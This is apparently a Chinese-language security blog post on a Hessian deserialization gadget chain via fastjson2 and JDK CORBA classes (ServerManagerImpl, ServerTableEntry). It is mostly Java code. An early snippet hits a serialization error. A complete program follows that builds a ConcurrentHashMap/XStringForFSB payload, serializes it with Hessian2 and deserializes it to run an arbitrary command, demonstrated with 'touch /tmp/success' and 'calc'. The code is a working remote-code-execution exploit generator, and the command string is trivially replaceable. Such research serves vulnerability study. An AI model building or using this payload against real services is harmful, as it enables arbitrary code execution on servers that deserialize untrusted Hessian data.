blackhat-JDD-hessian反序列化jdk_fastjson链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ServerManagerImpl serverManager = (ServerManagerImpl) unsafe.allocateInstance(ServerManagerImpl.class);
HashMap<Integer, ServerTableEntry> hashMap =new HashMap<>();
ServerTableEntry serverTableEntry = (ServerTableEntry) unsafe.allocateInstance(ServerTableEntry.class);
hashMap.put(1,serverTableEntry);
ReflectTools.setFieldValue(serverTableEntry,"state" ,2);
ReflectTools.setFieldValue(serverTableEntry, "activateRetryCount",0);
ReflectTools.setFieldValue(serverTableEntry, "debug", false);
ReflectTools.setFieldValue(serverTableEntry, "activationCmd", "touch /tmp/success");

Object process = unsafe.allocateInstance(Class.forName("java.lang.UNIXProcess"));
ReflectTools.setFieldValue(process, "hasExited", true);
ReflectTools.setFieldValue(serverTableEntry, "process", process);
ReflectTools.setFieldValue(serverManager, "serverTable", hashMap);
JSONArray objects = new JSONArray(serverManager);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
ReflectTools.setFieldValue(bad, "val", objects);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(bad);

但是我在序列化JSONArray的时候出现了一些问题

Exception in thread “main” java.io.NotSerializableException: com.sun.corba.se.impl.activation.ServerTableEntry

我该如何去解决它

发现他是hessian反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package com.n1ght;
import com.alibaba.fastjson2.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.corba.se.impl.activation.ServerManagerImpl;
import com.sun.corba.se.impl.activation.ServerTableEntry;

import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Random;
import java.util.concurrent.ConcurrentHashMap;

import static com.sun.org.apache.xalan.internal.xsltc.compiler.Constants.CHARACTERS;

public class Main {
public static void main(String[] args) throws Exception {
ServerManagerImpl serverManager = createWithObjectNoArgsConstructor(ServerManagerImpl.class);
HashMap<Integer, ServerTableEntry> hashMap =new HashMap<>();
ServerTableEntry serverTableEntry = createWithObjectNoArgsConstructor(ServerTableEntry.class);
hashMap.put(1,serverTableEntry);
setFieldValue(serverTableEntry, "state",2);
setFieldValue(serverTableEntry, "activateRetryCount",0);
setFieldValue(serverTableEntry, "debug", false);
setFieldValue(serverTableEntry, "activationCmd", "calc");

// Object process = createWithObjectNoArgsConstructor(Class.forName("java.lang.UNIXProcess"));
// setFieldValue(process, "hasExited", true);
// setFieldValue(serverTableEntry, "process", process);
//
// setFieldValue(serverManager, "serverTable", hashMap);
Object process = createWithObjectNoArgsConstructor(Class.forName("java.lang.ProcessImpl"));
setFieldValue(process, "handle", 6);
setFieldValue(serverTableEntry, "process", process);
setFieldValue(serverManager, "serverTable", hashMap);
JSONObject jsonObject = new JSONObject();
jsonObject.put("key", serverManager);
XStringForFSB xStringForFSB = createWithoutConstructor(XStringForFSB.class);
setFieldValue(xStringForFSB, "m_strCache", generateRandomString());
Object conEntry1 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
Object conEntry2 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
setFieldValue(conEntry1, "key", xStringForFSB);
setFieldValue(conEntry1, "val", jsonObject);
setFieldValue(conEntry2, "key", jsonObject);
setFieldValue(conEntry2, "val", xStringForFSB);
ConcurrentHashMap s = new ConcurrentHashMap();
setFieldValue(s, "sizeCtl", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, conEntry1, conEntry1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, conEntry2, conEntry2, null));
setFieldValue(s, "table", tbl);
Field table = ConcurrentHashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(s, tbl);
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);

SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flush();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
new Hessian2Input(byteArrayInputStream).readObject();
}
public static String generateRandomString() {
Random random = new Random();
int length = random.nextInt(20)+1;
StringBuilder sb = new StringBuilder(length);

for (int i = 0; i < length; i++) {
int index = random.nextInt(CHARACTERS.length());
char randomChar = CHARACTERS.charAt(index);
sb.append(randomChar);
}

return sb.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

T resObject = null;
try{
resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
} catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
}

return resObject;
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);

// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}